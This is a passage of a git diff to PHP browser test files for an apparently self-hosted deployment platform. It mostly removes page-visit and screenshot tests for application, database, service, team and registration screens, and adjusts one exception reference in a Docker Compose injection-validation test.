validateDockerComposeForInjection($dockerComposeYaml)) - ->toThrow(\Exception::class); + ->toThrow(Exception::class); }); test('Windows paths with complex paths and spaces are handled correctly', function () { diff --git a/tests/v4/Browser/ApplicationConfigurationTest.php b/tests/v4/Browser/ApplicationConfigurationTest.php index b390870633..49f0349fb1 100644 --- a/tests/v4/Browser/ApplicationConfigurationTest.php +++ b/tests/v4/Browser/ApplicationConfigurationTest.php @@ -20,28 +20,6 @@ beforeEach(function () { ]); }); -it('shows application configuration sections and navigation', function () { - loginAndSkipBoarding(); - - $url = applicationConfigurationUrl( - $this->stack['project'], - $this->stack['environment'], - $this->application - ); - - $page = visit($url); - - $page->assertSee('Config App') - ->assertSee('General') - ->assertSee('Environment Variables') - ->assertSee('Danger Zone') - ->assertSee('Application details') - ->assertSee('Internal access') - ->assertSee('Docker network') - ->assertSee('Build & deploy') - ->screenshot(filename: 'application-configuration-overview'); -}); - it('keeps the PR suffix listbox visible outside the volumes table while scrolling', function () { foreach (range(1, 8) as $index) { LocalPersistentVolume::create([ @@ -308,40 +286,6 @@ it('restores the default file location when the field is cleared', function (str 'Docker Compose' => ['dockercompose', 'docker_compose_location', '/docker-compose.yaml'], ]); -it('opens environment variables page for the application', function () { - loginAndSkipBoarding(); - - $base = applicationConfigurationUrl( - $this->stack['project'], - $this->stack['environment'], - $this->application - ); - - $page = visit("{$base}/environment-variables"); - - $page->assertSee('Environment Variables') - ->assertSee('Config App') - ->screenshot(filename: 'application-environment-variables'); -}); - -it('opens advanced and healthcheck configuration pages', function () { - loginAndSkipBoarding(); - - $base = applicationConfigurationUrl( - $this->stack['project'], - $this->stack['environment'], - $this->application - ); - - visit("{$base}/advanced") - ->assertSee('Config App') - ->screenshot(filename: 'application-advanced'); - - visit("{$base}/healthcheck") - ->assertSee('Config App') - ->screenshot(filename: 'application-healthcheck'); -}); - it('lists the application on the environment resources page', function () { loginAndSkipBoarding(); @@ -354,22 +298,6 @@ it('lists the application on the environment resources page', function () { ->screenshot(filename: 'environment-lists-application'); }); -it('shows danger zone for application deletion', function () { - loginAndSkipBoarding(); - - $base = applicationConfigurationUrl( - $this->stack['project'], - $this->stack['environment'], - $this->application - ); - - $page = visit("{$base}/danger"); - - $page->assertSee('Danger') - ->assertSee('Config App') - ->screenshot(filename: 'application-danger-zone'); -}); - it('uses compact application domains with unified settings and a form save button', function () { config()->set('app.maintenance.store', 'array'); InstanceSettings::find(0)->update(['is_dns_validation_enabled' => false]); diff --git a/tests/v4/Browser/AuthorizationTest.php b/tests/v4/Browser/AuthorizationTest.php index e02f3e2977..8900827d15 100644 --- a/tests/v4/Browser/AuthorizationTest.php +++ b/tests/v4/Browser/AuthorizationTest.php @@ -73,15 +73,6 @@ it('redirects unauthenticated users to login', function () { ->screenshot(); }); -it('shows dashboard after successful login and onboarding skip', function () { - $page = loginAndSkipBoarding(); - - $page->assertSee('Dashboard') - ->assertSee('Projects') - ->assertSee('Servers') - ->screenshot(); -}); - it('displays all projects on dashboard', function () { $page = loginAndSkipBoarding(); diff --git a/tests/v4/Browser/DatabaseConfigurationTest.php b/tests/v4/Browser/DatabaseConfigurationTest.php index 11a6c01fe8..b07c3eb48a 100644 --- a/tests/v4/Browser/DatabaseConfigurationTest.php +++ b/tests/v4/Browser/DatabaseConfigurationTest.php @@ -68,39 +68,6 @@ it('saves postgres name description and credentials fields', function () { ->screenshot(filename: 'database-postgres-after-reload'); }); -it('shows ssl controls on postgres configuration', function () { - loginAndSkipBoarding(); - - $url = databaseConfigurationUrl( - $this->stack['project'], - $this->stack['environment'], - $this->postgres - ); - - $page = visit($url); - // SSL toggle is present; mode selector appears after enabling SSL. - $page->assertSee('General') - ->assertSee('Config Postgres') - ->screenshot(filename: 'database-postgres-ssl-controls'); - - $page->script(<<<'JS' - (() => { - const toggle = document.querySelector('[id^="enableSsl"]'); - if (toggle) { - toggle.click(); - } - })() - JS); - $page->wait(2); - - $this->postgres->refresh(); - if ($this->postgres->enable_ssl) { - $page->assertSee('SSL Mode'); - } - - $page->screenshot(filename: 'database-postgres-ssl-after-toggle'); -}); - it('shows redis configuration page', function () { loginAndSkipBoarding(); diff --git a/tests/v4/Browser/ProjectAndServerTest.php b/tests/v4/Browser/ProjectAndServerTest.php index c83e4c48fa..de7d432e88 100644 --- a/tests/v4/Browser/ProjectAndServerTest.php +++ b/tests/v4/Browser/ProjectAndServerTest.php @@ -92,20 +92,6 @@ it('shows server configuration page for owner', function () { ->screenshot(filename: 'core-server-configuration'); }); -it('shows team general and members pages', function () { - loginAndSkipBoarding(); - - visit('/team') - ->assertSee('General') - ->assertSee('Danger Zone') - ->screenshot(filename: 'core-team-general'); - - visit('/team/members') - ->assertSee('Members') - ->assertSee('Invite a member') - ->screenshot(filename: 'core-team-members'); -}); - it('shows projects index', function () { loginAndSkipBoarding(); diff --git a/tests/v4/Browser/RegistrationTest.php b/tests/v4/Browser/RegistrationTest.php index ca4b5e71fd..254362f839 100644 --- a/tests/v4/Browser/RegistrationTest.php +++ b/tests/v4/Browser/RegistrationTest.php @@ -45,30 +45,6 @@ it('can register a new root user', function () { expect(User::where('email', 'root@example.com')->exists())->toBeTrue(); }); -it('fails registration with mismatched passwords', function () { - $page = visit('/register'); - - $page->fill('name', 'Test User') - ->fill('email', 'root@example.com') - ->fill('password', 'Password1!@') - ->fill('password_confirmation', 'DifferentPass1!@') - ->click('Create account') - ->assertSee('password') - ->screenshot(filename: 'registration-password-mismatch'); -}); - -it('fails registration with weak password', function () { - $page = visit('/register'); - - $page->fill('name', 'Test User') - ->fill('email', 'root@example.com') - ->fill('password', 'short') - ->fill('password_confirmation', 'short') - ->click('Create account') - ->assertSee('password') - ->screenshot(filename: 'registration-weak-password'); -}); - it('shows login link when a user already exists', function () { createBrowserRootUser(); diff --git a/tests/v4/Browser/ServiceConfigurationTest.php b/tests/v4/Browser/ServiceConfigurationTest.php index d818573a80..f31875f98a 100644 --- a/tests/v4/Browser/ServiceConfigurationTest.php +++ b/tests/v4/Browser/ServiceConfigurationTest.php @@ -74,28 +74,6 @@ it('saves service name and description', function () { ->screenshot(filename: 'service-after-reload'); }); -it('opens service environment variables domains and storages pages', function () { - loginAndSkipBoarding(); - - $base = serviceConfigurationUrl( - $this->stack['project'], - $this->stack['environment'], - $this->service - ); - - visit("{$base}/environment-variables") - ->assertSee('Environment Variables') - ->screenshot(filename: 'service-environment-variables'); - - visit("{$base}/domains") - ->assertSee('Config Service') - ->screenshot(filename: 'service-domains'); - - visit("{$base}/storages") - ->assertSee('Config Service') - ->screenshot(filename: 'service-storages'); -}); - it('renders an automatically added redirect counterpart without reloading', function () { $this->serviceApplication->update([ 'fqdn' => 'https://web.example.com', @@ -151,21 +129,6 @@ it('renders an automatically added redirect counterpart without reloading', func $page->screenshot(filename: 'service-domain-remove-without-reload'); }); -it('opens compose stack application general settings', function () { - loginAndSkipBoarding(); - - $project = $this->stack['project']; - $environment = $this->stack['environment']; - $service = $this->service; - $stackUuid = $this->serviceApplication->uuid; - - $page = visit("/project/{$project->uuid}/environment/{$environment->uuid}/service/{$service->uuid}/{$stackUuid}"); - - $page->assertSee('web') - ->assertSee('General') - ->screenshot(filename: 'service-stack-application-general'); -}); - it('lists the service on the environment resources page', function () { loginAndSkipBoarding(); @@ -177,21 +140,6 @@ it('lists the service on the environment resources page', function () { ->screenshot(filename: 'environment-lists-service'); }); -it('shows service danger zone', function () { - loginAndSkipBoarding(); - - $base = serviceConfigurationUrl( - $this->stack['project'], - $this->stack['environment'], - $this->service - ); - - visit("{$base}/danger") - ->assertSee('Danger') - ->assertSee('Config Service') - ->screenshot(filename: 'service-danger-zone'); -}); - it('keeps domain settings out of the overview and supports editing and removal', function () { config()->set('app.maintenance.store', 'array'); InstanceSettings::find(0)->update(['is_dns_validation_enabled' => false]);